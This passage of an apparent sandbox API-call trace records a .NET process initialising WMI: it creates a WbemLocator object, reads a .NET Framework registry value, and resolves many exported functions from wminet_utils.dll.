Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x523eba0 | out: ppv=0x523eba0*=0x5f68508) returned 0x0 [0155.453] WbemLocator:IUnknown:QueryInterface (in: This=0x5f68508, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x523edb8 | out: ppvObject=0x523edb8*=0x0) returned 0x80004002 [0155.453] WbemLocator:IClassFactory:CreateInstance (in: This=0x5f68508, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x523edc4 | out: ppvObject=0x523edc4*=0x5f6ace0) returned 0x0 [0155.453] WbemLocator:IUnknown:Release (This=0x5f68508) returned 0x0 [0155.454] WbemLocator:IUnknown:QueryInterface (in: This=0x5f6ace0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x523e9e4 | out: ppvObject=0x523e9e4*=0x5f6ace0) returned 0x0 [0155.454] WbemLocator:IUnknown:QueryInterface (in: This=0x5f6ace0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x523e998 | out: ppvObject=0x523e998*=0x0) returned 0x80004002 [0155.454] WbemLocator:IUnknown:AddRef (This=0x5f6ace0) returned 0x3 [0155.454] WbemLocator:IUnknown:QueryInterface (in: This=0x5f6ace0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x523e2f4 | out: ppvObject=0x523e2f4*=0x0) returned 0x80004002 [0155.454] WbemLocator:IUnknown:QueryInterface (in: This=0x5f6ace0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x523e2a4 | out: ppvObject=0x523e2a4*=0x0) returned 0x80004002 [0155.454] WbemLocator:IUnknown:QueryInterface (in: This=0x5f6ace0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x523e2b0 | out: ppvObject=0x523e2b0*=0x0) returned 0x80004002 [0155.454] CoGetContextToken (in: pToken=0x523e310 | out: pToken=0x523e310) returned 0x0 [0155.455] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5f6850c | out: ppv=0x5f6850c*=0x5812b0) returned 0x0 [0155.459] CoGetContextToken (in: pToken=0x523e724 | out: pToken=0x523e724) returned 0x0 [0155.459] WbemLocator:IUnknown:QueryInterface (in: This=0x5f6ace0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x523e7a4 | out: ppvObject=0x523e7a4*=0x0) returned 0x80004002 [0155.459] WbemLocator:IUnknown:Release (This=0x5f6ace0) returned 0x2 [0155.459] WbemLocator:IUnknown:Release (This=0x5f6ace0) returned 0x1 [0155.459] CoGetContextToken (in: pToken=0x523ed9c | out: pToken=0x523ed9c) returned 0x0 [0155.459] CoGetContextToken (in: pToken=0x523ecfc | out: pToken=0x523ecfc) returned 0x0 [0155.459] WbemLocator:IUnknown:QueryInterface (in: This=0x5f6ace0, riid=0x523edcc*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x523edc8 | out: ppvObject=0x523edc8*=0x5f6ace0) returned 0x0 [0155.459] WbemLocator:IUnknown:AddRef (This=0x5f6ace0) returned 0x3 [0155.459] WbemLocator:IUnknown:Release (This=0x5f6ace0) returned 0x2 [0155.459] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x523ef5c | out: puCount=0x523ef5c*=0x2) returned 0x0 [0155.459] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=8, puBuffLength=0x523ef58*=0x0, pszText=0x0 | out: puBuffLength=0x523ef58*=0xf, pszText=0x0) returned 0x0 [0155.459] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=8, puBuffLength=0x523ef58*=0xf, pszText="00000000000000" | out: puBuffLength=0x523ef58*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.462] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x523ee60 | out: phkResult=0x523ee60*=0x47c) returned 0x0 [0155.462] RegQueryValueExW (in: hKey=0x47c, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x523ee7c, lpData=0x0, lpcbData=0x523ee78*=0x0 | out: lpType=0x523ee7c*=0x0, lpData=0x0, lpcbData=0x523ee78*=0x0) returned 0x2 [0155.463] RegCloseKey (hKey=0x47c) returned 0x0 [0155.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x104, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0155.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x523e6a8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0155.470] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6b3b0000 [0155.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x523e6dc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecuritymwk\x8e3\x8aoDþ+q¸é#\x05\x01", lpUsedDefaultChar=0x0) returned 13 [0155.476] GetProcAddress (hModule=0x6b3b0000, lpProcName="ResetSecurity") returned 0x6b3b7dd0 [0155.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x523e6dc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0155.486] GetProcAddress (hModule=0x6b3b0000, lpProcName="SetSecurity") returned 0x6b3b7e20 [0155.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x523e6d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServiceswk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 18 [0155.500] GetProcAddress (hModule=0x6b3b0000, lpProcName="BlessIWbemServices") returned 0x6b3b6e70 [0155.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x523e6d0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 24 [0155.541] GetProcAddress (hModule=0x6b3b0000, lpProcName="BlessIWbemServicesObject") returned 0x6b3b6ed0 [0155.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x523e6d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandlemwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 17 [0155.564] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetPropertyHandle") returned 0x6b3b7820 [0155.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x523e6d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValuewk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 18 [0155.576] GetProcAddress (hModule=0x6b3b0000, lpProcName="WritePropertyValue") returned 0x6b3b7fa0 [0155.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x523e6e4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonemwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 5 [0155.586] GetProcAddress (hModule=0x6b3b0000, lpProcName="Clone") returned 0x6b3b6f30 [0155.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x523e6d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0155.594] GetProcAddress (hModule=0x6b3b0000, lpProcName="VerifyClientKey") returned 0x6b3b7f20 [0155.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x523e6d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0155.598] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetQualifierSet") returned 0x6b3b78e0 [0155.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x523e6e4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0155.600] GetProcAddress (hModule=0x6b3b0000, lpProcName="Get") returned 0x6b3b75c0 [0155.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x523e6e4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3 [0155.619] GetProcAddress (hModule=0x6b3b0000, lpProcName="Put") returned 0x6b3b7a00 [0155.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x523e6e4, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deletewk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 6 [0155.632] GetProcAddress (hModule=0x6b3b0000, lpProcName="Delete") returned 0x6b3b7300 [0155.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x523e6e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 8 [0155.647] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetNames") returned 0x6b3b77c0 [0155.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x523e6d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 16 [0155.671] GetProcAddress (hModule=0x6b3b0000, lpProcName="BeginEnumeration") returned 0x6b3b6e30 [0155.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x523e6e4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 4 [0155.681] GetProcAddress (hModule=0x6b3b0000, lpProcName="Next") returned 0x6b3b79a0 [0155.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x523e6dc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumerationwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 14 [0155.695] GetProcAddress (hModule=0x6b3b0000, lpProcName="EndEnumeration") returned 0x6b3b73c0 [0155.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x523e6d0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0155.704] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetPropertyQualifierSet") returned 0x6b3b78b0 [0155.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x523e6e4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonemwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 5 [0155.715] GetProcAddress (hModule=0x6b3b0000, lpProcName="Clone") returned 0x6b3b6f30 [0155.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x523e6dc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectTextmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 13 [0155.716] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetObjectText") returned 0x6b3b77f0 [0155.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x523e6d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClassmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 17 [0155.730] GetProcAddress (hModule=0x6b3b0000, lpProcName="SpawnDerivedClass") returned 0x6b3b7e80 [0155.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x523e6dc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstancemwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 13 [0155.741] GetProcAddress (hModule=0x6b3b0000, lpProcName="SpawnInstance") returned 0x6b3b7eb0 [0155.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x523e6e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTomwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 9 [0155.743] GetProcAddress (hModule=0x6b3b0000, lpProcName="CompareTo") returned 0x6b3b7020 [0155.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x523e6d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOriginmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 17 [0155.752] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetPropertyOrigin") returned 0x6b3b7880 [0155.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x523e6dc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 12 [0155.768] GetProcAddress (hModule=0x6b3b0000, lpProcName="InheritsFrom") returned 0x6b3b7900 [0155.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x523e6e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 9 [0155.770] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetMethod") returned 0x6b3b7730 [0155.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x523e6e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethodmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 9 [0155.784] GetProcAddress (hModule=0x6b3b0000, lpProcName="PutMethod") returned 0x6b3b7bf0 [0155.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x523e6dc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 12 [0155.796] GetProcAddress (hModule=0x6b3b0000, lpProcName="DeleteMethod") returned 0x6b3b7320 [0155.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x523e6d4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumerationwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 22 [0155.797] GetProcAddress (hModule=0x6b3b0000, lpProcName="BeginMethodEnumeration") returned 0x6b3b6e50 [0155.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x523e6e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 10 [0155.799] GetProcAddress (hModule=0x6b3b0000, lpProcName="NextMethod") returned 0x6b3b79d0 [0155.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x523e6d4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 20 [0155.811] GetProcAddress (hModule=0x6b3b0000, lpProcName="EndMethodEnumeration") returned 0x6b3b73e0 [0155.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x523e6d4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSetmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 21 [0155.813] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetMethodQualifierSet") returned 0x6b3b7790 [0155.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x523e6d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0155.815] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetMethodOrigin") returned 0x6b3b7760 [0155.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x523e6d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 16 [0155.816] GetProcAddress (hModule=0x6b3b0000, lpProcName="QualifierSet_Get") returned 0x6b3b7c80 [0155.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x523e6d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 16 [0155.830] GetProcAddress (hModule=0x6b3b0000, lpProcName="QualifierSet_Put") returned 0x6b3b7d10 [0155.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x523e6d4, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0155.846] GetProcAddress (hModule=0x6b3b0000, lpProcName="QualifierSet_Delete") returned 0x6b3b7c40 [0155.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x523e6d4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNamesmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 21 [0155.848] GetProcAddress (hModule=0x6b3b0000, lpProcName="QualifierSet_GetNames") returned 0x6b3b7cb0 [0155.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x523e6cc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumerationmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 29 [0155.863] GetProcAddress (hModule=0x6b3b0000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6b3b7c20 [0155.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x523e6d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Nextmwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 17 [0155.867] GetProcAddress (hModule=0x6b3b0000, lpProcName="QualifierSet_Next") returned 0x6b3b7ce0 [0155.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x523e6cc, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27 [0155.883] GetProcAddress (hModule=0x6b3b0000, lpProcName="QualifierSet_EndEnumeration") returned 0x6b3b7c60 [0155.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x523e6d0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0155.885] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetCurrentApartmentType") returned 0x6b3b78e0 [0155.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x523e6d4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 20 [0155.894] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetDemultiplexedStub") returned 0x6b3b75f0 [0155.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x523e6d4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmimwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 21 [0155.909] GetProcAddress (hModule=0x6b3b0000, lpProcName="CreateInstanceEnumWmi") returned 0x6b3b7230 [0156.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x523e6d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmiwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 18 [0156.045] GetProcAddress (hModule=0x6b3b0000, lpProcName="CreateClassEnumWmi") returned 0x6b3b7160 [0156.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x523e6dc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 12 [0156.047] GetProcAddress (hModule=0x6b3b0000, lpProcName="ExecQueryWmi") returned 0x6b3b74e0 [0156.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x523e6d0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 24 [0156.137] GetProcAddress (hModule=0x6b3b0000, lpProcName="ExecNotificationQueryWmi") returned 0x6b3b7400 [0156.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x523e6dc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmiwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 14 [0156.140] GetProcAddress (hModule=0x6b3b0000, lpProcName="PutInstanceWmi") returned 0x6b3b7b10 [0156.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x523e6dc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0156.167] GetProcAddress (hModule=0x6b3b0000, lpProcName="PutClassWmi") returned 0x6b3b7a30 [0156.168] WideCharToMultiByte (in: 